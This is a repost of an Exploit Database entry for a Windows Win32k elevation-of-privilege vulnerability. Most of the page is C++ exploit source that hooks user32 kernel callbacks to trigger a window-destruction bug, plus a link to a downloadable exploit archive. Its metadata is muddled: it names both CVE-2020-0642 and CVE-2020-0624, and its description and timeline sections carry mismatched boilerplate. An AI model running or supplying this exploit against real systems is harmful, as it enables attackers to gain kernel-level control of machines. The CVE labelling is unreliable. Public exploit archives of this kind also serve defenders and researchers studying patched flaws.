Microsoft Windows – Win32k Elevation of Privilege

• Exploit Database
• 18 阅读

• 作者： nu11secur1ty
  日期： 2020-12-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49179/

• # Exploit Title: Microsoft Windows - Win32k Elevation of Privilege
  # Author: nu11secur1ty
  # Date: 08.03.2020
  # Exploit Date: 01/14/2020
  # Vendor: Microsoft
  # Software Link: https://support.microsoft.com/en-us/help/3095649/win32k-sys-update-in-windows-october-2015
  # Exploit link: https://github.com/nu11secur1ty/Windows10Exploits/raw/master/Undefined/CVE-2020-0624/win32k/__32-win32k.sys5.1.2600.1330.zip
  # CVE: CVE-2020-0642
  
  [+] Credits: Ventsislav Varbanovski (nu11secur1ty)
  [+] Source:readme from GitHUB
  
  [Exploit Program Code]
  
  // cve-2020-0624.cpp
  
  #pragma warning(disable: 4005)
  #pragma warning(disable: 4054)
  #pragma warning(disable: 4152)
  #pragma warning(disable: 4201)
  
  #include <Windows.h>
  #include "ntos.h"
  
  typedef NTSTATUS(NTAPI* PFNUSER32CALLBACK)(PVOID);
  
  HWND hParent{}, hChild{};
  BOOL Flag1{}, Flag2{};
  
  PFNUSER32CALLBACK OrgCCI2{}, OrgCCI3{};
  
  NTSTATUS NTAPI NewCCI2(PVOID Param)
  {
  	if (Flag1)
  	{
  		Flag1 = FALSE;
  		Flag2 = TRUE;
  		DestroyWindow(hParent);
  	}
  	return OrgCCI2(Param);
  }
  NTSTATUS NTAPI NewCCI3(PVOID Param)
  {
  	if (Flag2)
  	{
  		ExitThread(0);
  	}
  	return OrgCCI3(Param);
  }
  int main()
  {
  	DWORD OldProtect{};
  
  	PTEB teb = NtCurrentTeb();
  	PPEB peb = teb->ProcessEnvironmentBlock;
  	PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];
  	if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
  		return 0;
  	OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2,
  &NewCCI2);
  
  	PVOID pCCI3 = &((PVOID*)peb->KernelCallbackTable)[3];
  	if (!VirtualProtect(pCCI3, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
  		return 0;
  	OrgCCI3 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI3,
  &NewCCI3);
  
  	hParent = CreateWindow(L"ScrollBar", L"Parent", WS_OVERLAPPEDWINDOW,
  CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, NULL, NULL, NULL);
  	hChild = CreateWindow(L"ScrollBar", L"Child", WS_OVERLAPPEDWINDOW |
  WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, 0, NULL,
  NULL);
  	Flag1 = TRUE;
  	SendMessage(hChild, WM_LBUTTONDOWN, 0, 0);
  	return 0;
  }
  
  
  [Vendor]
  Microsoft
  
  
  [Vulnerability Type]
  Privilege Escalation
  
  
  [Description]
  The entry creation date may reflect when the CVE ID was allocated or
  reserved, and does not necessarily indicate when this vulnerability
  was discovered, shared with the affected vendor, publicly disclosed,
  or updated in CVE.
  - - - more: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0642
  
  [Disclosure Timeline]
  An elevation of privilege vulnerability exists in Windows when the
  Win32k component fails to properly handle objects in memory. An
  attacker who successfully exploited this vulnerability could run
  arbitrary code in kernel mode. An attacker could then install
  programs; view, change, or delete data; or create new accounts with
  full user rights.
  To exploit this vulnerability, an attacker would first have to log on
  to the system. An attacker could then run a specially crafted
  application that could exploit the vulnerability and take control of
  an affected system.
  The update addresses this vulnerability by correcting how Win32k
  handles objects in memory.
  
  
  [+] Disclaimer
  The entry creation date may reflect when the CVE ID was allocated or
  reserved, and does not necessarily indicate when this vulnerability
  was discovered, shared with the affected vendor, publicly disclosed,
  or updated in CVE.